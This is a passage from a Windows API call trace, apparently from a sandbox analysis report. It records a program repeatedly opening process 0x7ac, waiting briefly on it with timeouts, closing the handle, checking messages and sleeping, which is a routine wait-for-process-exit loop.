(dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0119.975] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0120.004] CloseHandle (hObject=0xad0) returned 1 [0120.005] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0120.005] Sleep (dwMilliseconds=0x1) [0120.047] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0120.047] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0120.082] CloseHandle (hObject=0xad4) returned 1 [0120.083] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0120.083] Sleep (dwMilliseconds=0x1) [0120.129] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0120.130] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0120.177] CloseHandle (hObject=0xad4) returned 1 [0120.178] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0120.178] Sleep (dwMilliseconds=0x1) [0120.192] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0120.192] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0120.220] CloseHandle (hObject=0xad4) returned 1 [0120.220] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0120.220] Sleep (dwMilliseconds=0x1) [0120.242] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0120.258] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0120.301] CloseHandle (hObject=0xad4) returned 1 [0120.301] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0120.301] Sleep (dwMilliseconds=0x1) [0120.334] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0120.334] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0120.368] CloseHandle (hObject=0xad4) returned 1 [0120.368] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0120.368] Sleep (dwMilliseconds=0x1) [0120.402] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0120.402] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0120.441] CloseHandle (hObject=0xad4) returned 1 [0120.441] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0120.441] Sleep (dwMilliseconds=0x1) [0120.476] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0120.476] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0120.501] CloseHandle (hObject=0xad0) returned 1 [0120.513] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0120.513] Sleep (dwMilliseconds=0x1) [0120.525] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0120.526] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0120.551] CloseHandle (hObject=0xad4) returned 1 [0120.551] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0120.551] Sleep (dwMilliseconds=0x1) [0120.592] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0120.592] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0120.625] CloseHandle (hObject=0xad4) returned 1 [0120.625] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0120.644] Sleep (dwMilliseconds=0x1) [0120.660] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0120.660] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0120.694] CloseHandle (hObject=0xad0) returned 1 [0120.694] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0120.694] Sleep (dwMilliseconds=0x1) [0120.729] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0120.729] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0120.770] CloseHandle (hObject=0xad0) returned 1 [0120.770] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0120.770] Sleep (dwMilliseconds=0x1) [0120.814] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0120.814] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0120.847] CloseHandle (hObject=0xad0) returned 1 [0120.847] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0120.847] Sleep (dwMilliseconds=0x1) [0120.895] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0120.895] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0120.932] CloseHandle (hObject=0xad0) returned 1 [0120.932] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0120.932] Sleep (dwMilliseconds=0x1) [0120.966] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0120.966] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0120.989] CloseHandle (hObject=0xad0) returned 1 [0120.989] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0120.989] Sleep (dwMilliseconds=0x1) [0121.003] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0121.003] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0121.042] CloseHandle (hObject=0xad4) returned 1 [0121.042] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0121.042] Sleep (dwMilliseconds=0x1) [0121.081] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0121.081] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0121.113] CloseHandle (hObject=0xad4) returned 1 [0121.113] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0121.113] Sleep (dwMilliseconds=0x1) [0121.151] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0121.151] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0121.170] CloseHandle (hObject=0xad4) returned 1 [0121.170] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0121.170] Sleep (dwMilliseconds=0x1) [0121.186] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0121.186] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0121.221] CloseHandle (hObject=0xad0) returned 1 [0121.221] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0121.221] Sleep (dwMilliseconds=0x1) [0121.259] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0121.259] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0121.318] CloseHandle (hObject=0xad0) returned 1 [0121.318] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0121.318] Sleep (dwMilliseconds=0x1) [0121.393] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0121.393] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0121.440] CloseHandle (hObject=0xad0) returned 1 [0121.440] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0121.440] Sleep (dwMilliseconds=0x1) [0121.474] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0121.474] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0121.513] CloseHandle (hObject=0xad0) returned 1 [0121.513] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0121.513] Sleep (dwMilliseconds=0x1) [0121.558] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0121.558] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0121.575] CloseHandle (hObject=0xad0) returned 1 [0121.603] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0121.603] Sleep (dwMilliseconds=0x1) [0121.621] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0121.640] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0121.649] CloseHandle (hObject=0xad0) returned 1 [0121.649] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0121.649] Sleep (dwMilliseconds=0x1) [0121.674] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0121.674] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0121.706] CloseHandle (hObject=0xad4) returned 1 [0121.706] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0121.706] Sleep (dwMilliseconds=0x1) [0121.739] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0121.739] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0121.752] CloseHandle (hObject=0xad0) returned 1 [0121.752] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0121.752] Sleep (dwMilliseconds=0x1) [0121.788] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0121.788] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0121.841] CloseHandle (hObject=0xad0) returned 1 [0121.841] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0121.841] Sleep (dwMilliseconds=0x1) [0121.845] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0121.845] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0121.892] CloseHandle (hObject=0xad0) returned 1 [0121.892] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0121.892] Sleep (dwMilliseconds=0x1) [0121.919] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0121.919] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0121.942] CloseHandle (hObject=0xad0) returned 1 [0121.942] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0121.942] Sleep (dwMilliseconds=0x1) [0121.955] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0121.955] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0121.985] CloseHandle (hObject=0xad0) returned 1 [0122.002] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0122.002] Sleep (dwMilliseconds=0x1) [0122.006] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0122.006] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0122.025] CloseHandle (hObject=0xad0) returned 1 [0122.025] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0122.025] Sleep (dwMilliseconds=0x1) [0122.035] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0122.035] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0122.048] CloseHandle (hObject=0xad0) returned 1 [0122.048] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0122.048] Sleep (dwMilliseconds=0x1) [0122.068] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0122.069] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0122.079] CloseHandle (hObject=0xad0) returned 1 [0122.079] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0122.079] Sleep (dwMilliseconds=0x1) [0122.095] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0122.095] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0122.118] CloseHandle (hObject=0xad0) returned 1 [0122.118] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0122.118] Sleep (dwMilliseconds=0x1) [0122.130] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0122.130] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0122.153] CloseHandle (hObject=0xad0) returned 1 [0122.153] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0122.153] Sleep (dwMilliseconds=0x1) [0122.157] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0122.157] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0122.173] CloseHandle (hObject=0xad0) returned 1 [0122.173] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0122.173] Sleep (dwMilliseconds=0x1) [0122.191] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0122.211] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0122.220] CloseHandle (hObject=0xad0) returned 1 [0122.220] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0122.220] Sleep (dwMilliseconds=0x1) [0122.235] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0122.235] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0122.282] CloseHandle (hObject=0xad0) returned 1 [0122.282] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0122.282] Sleep (dwMilliseconds=0x1) [0122.299] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0122.299] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0122.348] CloseHandle (hObject=0xad0) returned 1 [0122.348] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0122.348] Sleep (dwMilliseconds=0x1) [0122.400] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0122.400] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0122.410] CloseHandle (hObject=0xad0) returned 1 [0122.410] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0122.410] Sleep (dwMilliseconds=0x1) [0122.536] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0122.536] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0122.555] CloseHandle (hObject=0xad0) returned 1 [0122.556] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0122.556] Sleep (dwMilliseconds=0x1) [0122.766] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0122.766] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0122.814] CloseHandle (hObject=0xad0) returned 1 [0122.814] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0122.814] Sleep (dwMilliseconds=0x1) [0122.829] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0122.829] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0123.163] CloseHandle (hObject=0xad4) returned 1 [0123.164] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0123.164] Sleep (dwMilliseconds=0x1) [0123.173] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0123.173] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0123.204] CloseHandle (hObject=0xad0) returned 1 [0123.204] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0123.204] Sleep (dwMilliseconds=0x1) [0123.226] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0123.226] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0123.431] CloseHandle (hObject=0xad4) returned 1 [0123.431] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0123.431] Sleep (dwMilliseconds=0x1) [0123.460] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0123.460] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0123.472] CloseHandle (hObject=0xad4) returned 1 [0123.472] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0123.472] Sleep (dwMilliseconds=0x1) [0123.487] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0123.487] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0123.500] CloseHandle (hObject=0xad4) returned 1 [0123.500] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0123.500] Sleep (dwMilliseconds=0x1) [0123.575] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0123.575] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0123.577] CloseHandle (hObject=0xad4) returned 1 [0123.577] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0123.577] Sleep (dwMilliseconds=0x1) [0123.650] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0123.650] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0123.656] CloseHandle (hObject=0xad4) returned 1 [0123.656] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0123.656] Sleep (dwMilliseconds=0x1) [0123.671] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0123.671] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0123.774] CloseHandle (hObject=0xad0) returned 1 [0123.774] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0123.774] Sleep (dwMilliseconds=0x1) [0123.786] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0123.786] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0123.886] CloseHandle (hObject=0xad4) returned 1 [0123.887] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0123.887] Sleep (dwMilliseconds=0x1) [0123.889] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0123.889] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0123.905] CloseHandle (hObject=0xad4) returned 1 [0123.905] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0123.905] Sleep (dwMilliseconds=0x1) [0123.931] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0123.931] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0124.043] CloseHandle (hObject=0xad4) returned 1 [0124.043] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0124.044] Sleep (dwMilliseconds=0x1) [0124.048] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0124.048] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0124.060] CloseHandle (hObject=0xad0) returned 1 [0124.060] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0124.060] Sleep (dwMilliseconds=0x1) [0124.077] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0124.077] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0124.111] CloseHandle (hObject=0xad0) returned 1 [0124.111] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0124.111] Sleep (dwMilliseconds=0x1) [0124.123] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0124.123] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0124.143] CloseHandle (hObject=0xad0) returned 1 [0124.143] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0124.143] Sleep (dwMilliseconds=0x1) [0124.157] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0124.157] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0124.176] CloseHandle (hObject=0xad0) returned 1 [0124.176] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0124.176] Sleep (dwMilliseconds=0x1) [0124.186] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0124.186] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0124.201] CloseHandle (hObject=0xad4) returned 1 [0124.201] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0124.201] Sleep (dwMilliseconds=0x1) [0124.231] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0124.231] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0124.255] CloseHandle (hObject=0xad0) returned 1 [0124.255] PeekMessageW (in: lpMsg=0x238ff68, 